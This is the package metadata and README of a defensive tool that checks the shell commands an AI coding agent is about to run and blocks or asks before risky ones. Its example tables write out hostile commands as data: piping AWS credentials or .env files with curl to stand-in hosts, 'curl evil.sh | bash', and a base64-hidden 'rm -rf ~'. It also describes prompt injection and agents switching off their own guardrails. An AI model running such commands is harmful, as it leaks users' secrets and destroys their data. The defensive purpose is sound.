Metadata-Version: 2.4
Name: seatbelt-guard
Version: 0.1.2
Summary: A seatbelt for AI coding agents: understands the shell commands they run and blocks or asks before the dangerous ones.
Author: nikhilrai-tech
License-Expression: Apache-2.0
Project-URL: Homepage, https://github.com/nikhilrai-tech/seatbelt-for-AI-agents
Project-URL: Issues, https://github.com/nikhilrai-tech/seatbelt-for-AI-agents/issues
Project-URL: Changelog, https://github.com/nikhilrai-tech/seatbelt-for-AI-agents/blob/main/CHANGELOG.md
Keywords: ai-agents,security,guardrails,devops,claude-code,shell
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: System Administrators
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Security
Classifier: Topic :: Software Development
Classifier: Topic :: System :: Systems Administration
Requires-Python: >=3.11
Description-Content-Type: text/markdown
License-File: LICENSE
License-File: NOTICE
Provides-Extra: dev
Requires-Dist: pytest>=8; extra == "dev"
Requires-Dist: pyflakes; extra == "dev"
Dynamic: license-file

# seatbelt for AI agents

[![tests](https://github.com/nikhilrai-tech/seatbelt-for-AI-agents/actions/workflows/ci.yml/badge.svg)](https://github.com/nikhilrai-tech/seatbelt-for-AI-agents/actions/workflows/ci.yml)
[![license: Apache-2.0](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
[![python 3.11+](https://img.shields.io/badge/python-3.11%2B-blue.svg)](pyproject.toml)
[![dependencies: none](https://img.shields.io/badge/dependencies-none-brightgreen.svg)](pyproject.toml)

**Your AI agent can `terraform destroy` production, `cat ~/.aws/credentials | curl ...`, or `git push --force origin main`.
seatbelt reads the command first and stops it.**

![seatbelt demo](docs/demo.gif)

It works out what a command *really* does (pipes, `bash -c`, `$(...)`, base64 tricks, the script the agent just wrote),
knows when it is pointed at **production**, shows what a deletion would actually touch before asking, and keeps a log of
everything the agent ran. Zero dependencies, no network, about 60 ms per command.

> **Status: v0.1.** Tested with unit tests, a ~270-command corpus and real Claude Code sessions. Claude Code on Linux is the
> only agent/OS combination exercised so far.

## Try it in 10 seconds (installs nothing)

```bash
pipx run --spec git+https://github.com/nikhilrai-tech/seatbelt-for-AI-agents seatbelt demo
```

## Use it with Claude Code in 60 seconds

```bash
pip install git+https://github.com/nikhilrai-tech/seatbelt-for-AI-agents    # PyPI: pip install seatbelt-guard (once published)
seatbelt install claude-code --write       # shows what would change first if you leave out --write
seatbelt doctor                            # proves it works: runs the installed hook against a force-push
```

`seatbelt doctor` exists because the worst failure of a guardrail is a silent one: Claude Code lets commands through when a
hook cannot run (binary moved, venv deleted). The doctor checks the settings *and* runs the installed hook for real.

## Why not just permission rules or a sandbox?

Use them too. They answer different questions.

| | Permission rules | Container / VM sandbox | seatbelt |
|---|---|---|---|
| Good at | "always allow `npm test`" | hard limits on what the agent can reach | knowing what *this* command does |
| Knows prod from dev | no | no | yes (profile, context, workspace, host, directory...) |
| Follows a secret through a pipe, `$(...)` or a script | no | only if the network is cut | yes |
| Shows what a delete would touch | no | no | yes |
| A hard guarantee | no | **yes** | **no**, it is a guardrail (see below) |
| Setup | built in | real work | one command |

seatbelt catches the mistakes and the prompt-injected commands *before* they reach the sandbox, explains them, and logs them.

## Built by attacking it

Every feature was tried against real Claude Code sessions, and the sessions found bugs the unit tests did not:

- an agent-written script built its path with `os.path.join(".git", "hooks", "pre-commit")`, so no string held the whole
  path and the first script scanner let it through. Fixed, with the exact script as a regression test;
- a deny rule for `npm run deploy*` was dodged by `npm run --silent deploy`; rules now also match without flags;
- a project that lived under `/tmp` was treated as scratch space, so `rm -rf src` was allowed.

The notes on how the hook contract really behaves (a broken hook fails open, `allow` skips your prompts, which events fire
when) are in [docs/claude-code-hooks.md](docs/claude-code-hooks.md).

## FAQ

**Does it send my commands anywhere?** No. There is no network code at all and no telemetry. The audit log stays on your
machine (mode 0600) with secrets redacted before anything is written.

**How much does it slow things down?** About 60 ms median per command on the machine it was built on (a bare `python3`
start is 11 ms). Invisible next to a model call.

**Will it nag me?** It is quiet by default: more than 150 everyday commands (`npm test`, `kubectl get`, `terraform plan`,
`rm -rf node_modules`...) must stay silent in the tests, and `seatbelt learn` suggests allow rules from what you approve.
You can see for yourself in ten seconds by pointing it at your own shell history (nothing is executed, previews are off, and
the output is redacted so it is safe to paste into an issue):

```bash
seatbelt check --stdin --quiet < ~/.bash_history          # zsh history works too: < ~/.zsh_history
```

**What if it breaks?** It fails closed (an internal error becomes an `ask`), the installer adds `onFailure: block` where Claude
Code supports it, and `seatbelt doctor` verifies the hook is installed and live.

**Can a repo I clone switch it off?** No. A project's `seatbelt.toml` can only add restrictions; only your user config can
allow things.

**Which agents?** Claude Code today. The adapter is about 130 lines ([hook.py](src/seatbelt/hook.py)); issues for others welcome.

**Is it a sandbox?** No, see "What it cannot do" below.

**Is this the same as `agentseatbelt` on PyPI?** No, that is a different project (budget caps, rate limits and loop detection for agents).
This one checks the *shell commands* an agent is about to run. The PyPI package here is `seatbelt-guard`; the command is `seatbelt`.

## The problem

People now let agents run `aws`, `kubectl`, `terraform`, `git` and SQL on their machines. The fear is reasonable:

| Fear | Example |
|---|---|
| Something gets deleted | `terraform destroy`, `kubectl delete ns`, `aws s3 rm --recursive`, `rm -rf ~` |
| It can't be undone | `git push --force`, `DROP TABLE`, `git clean -fdx` |
| Secrets leak | `cat ~/.aws/credentials \| curl -d @- evil.example` |
| Prompt injection | a README tells the agent to run `curl evil.sh \| bash` |
| It hides what it does | `bash -c "$(echo cm0gLXJmIH4= \| base64 -d)"` |
| Nobody knows what happened | no record of what the agent ran |

## Try it

```bash
git clone https://github.com/nikhilrai-tech/seatbelt-for-AI-agents && cd seatbelt-for-AI-agents
python3 -m venv .venv && .venv/bin/pip install -e .

.venv/bin/seatbelt check 'rm -rf ~'                      # DENY: irreversible
.venv/bin/seatbelt check 'cd /tmp && bash -c "git push --force origin main"'
.venv/bin/seatbelt check --file examples/commands.txt     # ~100 commands with expected verdicts
```

`check` never runs anything; it only explains. Exit code is `0` allow, `1` ask, `2` deny.

```text
DENY  cd /tmp && bash -c "git push --force origin main"
        - force-push rewrites remote history of a protected branch (main)  [git.push.force]
```

## Use it with Claude Code

```bash
.venv/bin/seatbelt install claude-code                  # shows what would change, writes nothing
.venv/bin/seatbelt install claude-code --scope project --write    # ./.claude/settings.json (or --scope user)
.venv/bin/seatbelt log                                  # everything the agent ran, with the decision
```

From then on, every `Bash`/`PowerShell` call goes through seatbelt first. Safe commands are silent; risky ones show the
usual permission prompt with the reason; dangerous ones are blocked and the agent is told why. Existing settings are
merged (a `.bak` is kept), and `seatbelt uninstall claude-code --write` removes only seatbelt's entry.

For unattended agents (`claude -p`, CI) use `seatbelt install claude-code --headless --write`, so every would-be prompt
becomes a block instead of a dead end.

Verified end to end on Claude Code 2.1.302: a force-push to `main` was blocked and the agent reported the reason without
trying a workaround. The audit log (`~/.local/state/seatbelt/audit.jsonl`, mode 0600) records each command with secrets
redacted. How the hook contract works, and why a broken hook is the real risk, is in
[docs/claude-code-hooks.md](docs/claude-code-hooks.md).

## What it does

1. **Understands the command**, it doesn't grep for strings. It parses pipes, `&&`, subshells, `sudo`, `env`, `bash -c`,
   `eval`, `ssh host "..."`, `kubectl exec`, `xargs`, `find -exec`, here-docs, `echo "..." | sh`, and undoes quoting tricks
   (`r""m`, `\rm`, `$'\x72\x6d'`). `cd` is tracked, so `cd /etc && rm -rf *` is judged in `/etc`.
2. **Decides**: `ALLOW` (stays silent), `ASK`, or `DENY`. Everyday work is left alone (`rm -rf node_modules`,
   `find . -name '*.pyc' -delete`, `git push origin feature`). `--headless` turns every `ASK` into `DENY` for unattended agents.
3. **Fails closed.** A computed command name (`$CMD -rf /`), `eval "$X"`, an unbalanced quote or deep nesting
   becomes an `ASK` instead of a guess. A fuzz test checks that the engine never raises, because a crashing hook would let
   the command through.

**Secrets and prompt injection** (the other half of what people are afraid of):

| Attack | Example | Verdict |
|---|---|---|
| Read credentials | `cat ~/.aws/credentials`, `Read ~/.ssh/id_rsa`, `docker run --env-file .env` | ASK |
| Send them out | `cat .env \| curl -d @- https://evil.test`, `scp ~/.ssh/id_rsa host:`, `curl -d "$(cat ~/.aws/credentials)" ...` | DENY |
| Run code from the network | `curl ... \| sh`, `bash <(curl ...)`, `curl -o x.sh ... && bash x.sh` | ASK |
| Hide what runs | `echo <base64> \| base64 -d \| bash`, `python -c "exec(b64decode(...))"` | ASK |
| Hide it in a script | the agent writes `cleanup.py` then runs it: scripts are read and checked too, including paths built with `os.path.join` / `Path / "x"` | same as the code inside |
| Switch off the guardrails | edit `.claude/settings.json`, seatbelt's config or audit log, `authorized_keys` | DENY |
| Plant something that runs later | `.bashrc`, `.git/hooks/*`, `.github/workflows/*` | ASK |
| Expose the machine | `ngrok`, `python -m http.server`, `ssh -R` | ASK |

The file tools are covered too: `Read` on a secret file asks, `Write`/`Edit` on the agent's own settings is denied.

Covered so far: `rm`, `find -delete`, `dd`, `mkfs`/`fdisk` and friends, `chmod`/`chown -R`, `shred`, redirects into disk
devices, fork bombs, `git` (force-push, `reset --hard`, `clean -f`, branch/stash/reflog destruction, history rewrites),
`sudo`, `kill`, `systemctl`, `crontab -r`, firewalls, power commands.

## It shows what a deletion would actually touch

A prompt that says "recursive delete of src" doesn't help anyone decide. So before asking, seatbelt measures the target:

```text
ASK   rm -rf src
        - recursive delete of /home/me/app/src  [fs.rm.recursive]
        = impact: deletes 27 files in 2 folders (1.4 MB) under /home/me/app/src; 27 files changed in the last 24 hours,
          so possibly uncommitted work; includes .env, local.sqlite, which are probably not in version control
```

File and folder counts, size, whether a `.git` directory is inside, how much changed in the last 24 hours (a stand-in for
uncommitted work), and files that usually are *not* in version control (`.env`, keys, local databases, state files). In a
real Claude Code session the agent read this and offered to back the folder up first.

Design notes:

- **seatbelt never runs `git`, `kubectl` or anything else to find out.** Running git inside a repository the agent just
  cloned can execute code from that repository's own config (`core.fsmonitor`, hooks...); a guardrail must not be what
  triggers it. Everything is read straight from the filesystem. The price: it cannot tell *tracked* from *untracked* files.
- Only `ASK` verdicts are measured (a `DENY` is final). Symlinks are not followed, other filesystems are not crossed, and
  the whole preview shares a 1.2 s budget, after which it says "at least". `SEATBELT_PREVIEW=off` turns it off.

## Production is detected, not assumed

Deleting a dev namespace and deleting prod are different acts, so seatbelt works out *where* a command runs:
`--profile prod`, `--context prod-eu`, `-n production`, `-var-file=prod.tfvars`, a host or database called `prod-db`,
`AWS_PROFILE`, `TF_WORKSPACE`, `RAILS_ENV`, `DATABASE_URL`, kubeconfig's `current-context`, terraform's
`.terraform/environment` file, an `infra/prod/` directory. Whole words only (`products-bucket` is not production).

| | dev / unknown | production |
|---|---|---|
| Read (`kubectl get`, `aws ... describe`, `SELECT`, `terraform plan`) | silent | silent |
| Change (`apply`, `create`, `INSERT`, `helm upgrade`) | silent | ASK |
| Destroy (`delete pod`, `terminate`, `DELETE ... WHERE`) | ASK | ASK |
| Destroy for good (`kubectl delete ns`, `aws rds delete-db-instance`, `s3 rm --recursive`, `DROP TABLE`, `terraform destroy`, `FLUSHALL`, `docker volume rm`) | ASK | **DENY** |
| Applying without a human reading the plan (`terraform apply -auto-approve`) | ASK | **DENY** |

Covered: `aws` (incl. `s3`, IAM changes, secret reads, expensive instances, open security groups), `gcloud`/`gsutil`, `az`,
`heroku`/`flyctl`/`vercel`/`doctl`/`firebase`..., `gh`, `kubectl`/`oc`/`helm`, `terraform`/`tofu`/`pulumi`/`cdk`/`serverless`,
SQL in `psql`/`mysql`/`sqlite3` (inline, `-f file`, here-docs, pipes; comments and string literals don't fool it),
Redis, Mongo, migration tools (`rails`, `prisma`, `django`, `alembic`, ...), `docker`/`compose`, and publishing (`npm publish`,
`twine upload`, `cargo publish`, `docker push`). Dry runs (`--dry-run`, `--dryrun`) are recognised and left alone.

## Tuning it

`~/.config/seatbelt/config.toml`, or `$XDG_CONFIG_HOME/seatbelt/config.toml` if you set it (see [examples/config.toml](examples/config.toml)):

```toml
trusted_hosts = ["api.github.com", "*.mycompany.com"]   # secret variables may go to these without asking
prod_patterns = ["live"]                                # extra words that mean production

[[allow]]
command = "git push origin feature/*"

[[deny]]
command = "kubectl * --context=prod*"
reason = "no agent touches the prod cluster"
```

- `allow` only lowers an ASK. It can never lower a DENY, or an ask about tampering with the guardrails, and it is matched
  literally (otherwise an allow for `git push origin feature/*` would also wave through `git push -f origin feature/x`).
- `deny`/`ask` also match with the flags removed, so `npm run --silent deploy` is caught by `npm run deploy*`. A flag that
  takes a value leaves the value behind: write `npm * run deploy*` to cover `npm --prefix app run deploy`.
- **A project can restrict but never permit.** A `seatbelt.toml` in the repository may add `deny`, `ask` and `prod_patterns`;
  its `allow` and `trusted_hosts` are ignored (and reported). Otherwise a cloned repo could grant its own agent permissions.
- A broken config file is an `ASK`, never silently ignored. `seatbelt check --config FILE` tries a config; `--no-config` ignores all.

## Learn mode: fewer prompts without loosening anything blindly

Prompts you always approve are noise, and noise trains people to click through. The hook logs each decision and, when
Claude Code reports that the call ran, a second row with the same `tool_use_id` (verified on 2.1.302: a command that ran
fires `PostToolUse`, one that exited non-zero fires `PostToolUseFailure`, one a hook denied fires neither). An ASK followed
by that row was approved by you.

```bash
seatbelt learn            # reads the audit log, prints suggestions, changes nothing
```

```text
Looked at 41 prompts: 33 approved, 5 declined or never ran, 3 still pending.

Approved at least 3 times, safe to suggest:
  1. git push --force origin feature/*
       approved 6x, e.g. `git push --force origin feature/login`

[[allow]]
command = "git push --force origin feature/*"
reason = "approved 6 times"

Not suggested:
  - kubectl delete pod web-1  (approved 4x, but it was also declined or never ran 1 time(s))
  - cat ~/.aws/credentials  (never suggested for secret)
```

You paste what you agree with into your user config. Rules of the road:

- Only ASKs are learned, never DENYs, and never anything involving secrets, exfiltration, tampering, remote code,
  privilege, exposure, production or commands it cannot verify. Those keep asking however often you approve them.
- Patterns are narrow: flags are kept literally and only the last path component is wildcarded
  (`rm -rf build/old` -> `rm -rf build/*`, `kubectl delete pod web-1` stays exact).
- A pattern needs N approvals (`--min`, default 3), is dropped if it was ever declined, and is kept only if re-running the
  examples through the real engine with the rule applied really gives ALLOW.
- An `allow` never applies to a command containing `..` or a `$VAR`: `rm -rf build/*` must not wave through `rm -rf build/../..`.

## What it cannot do (read this)

seatbelt is a **guardrail, not a sandbox**. It reads commands and scripts before they run and refuses the ones it
understands to be dangerous. It cannot give a hard guarantee:

- It cannot follow a value through variables. `p = compute(); os.remove(p)` is invisible; `os.remove("/")` is not.
  Paths built from literals (`os.path.join`, `Path / "x"`, `"a" + "b"`) are followed; arbitrary computation is not.
- It checks the code the agent hands to the shell. It does not see what `make`, `npm run` or an MCP tool does
  internally, or what a script does after it has been edited between the check and the run.
- Obfuscation beyond quoting tricks and common decoders can get through, which is why a computed command or an `eval`
  of a runtime string is an `ASK`, not an `ALLOW`.
- Scripts are read only if they exist when the command is checked, are regular files, and are under 256 KB.

For a hard guarantee, run the agent in a container or VM with only the access it needs, and use seatbelt on top of it:
it catches the mistakes and the prompt-injected commands *before* they get that far, explains them, and keeps a log.

## Roadmap (one pull request each)

- [x] Command analysis engine and `seatbelt check`
- [x] Claude Code hook (`PreToolUse`), audit log and installer
- [x] Secrets and exfiltration: credential files, `curl | sh`, `env | curl`, encoded payloads, inline interpreters, scripts the agent wrote
- [x] Cloud and infra: `aws`, `gcloud`, `az`, `kubectl`, `helm`, `terraform`, SQL, `docker`, production detection, policy file
- [x] Blast-radius preview: "this deletes 14,203 files (3.2 GB), including `.git`"
- [x] Learn mode: turn what you approved into an allowlist

## License

Apache-2.0, see [LICENSE](LICENSE). Commits made before this change were published under the MIT license; copies obtained
under MIT may continue to be used under MIT.

## Contributing

If seatbelt saved you a bad day, a star helps others find it. If it gets a command wrong, in either direction, please open an
issue with the template and `seatbelt check --json '<command>'`; those reports are the most useful thing you can send.
See [CONTRIBUTING.md](CONTRIBUTING.md) and [SECURITY.md](SECURITY.md).
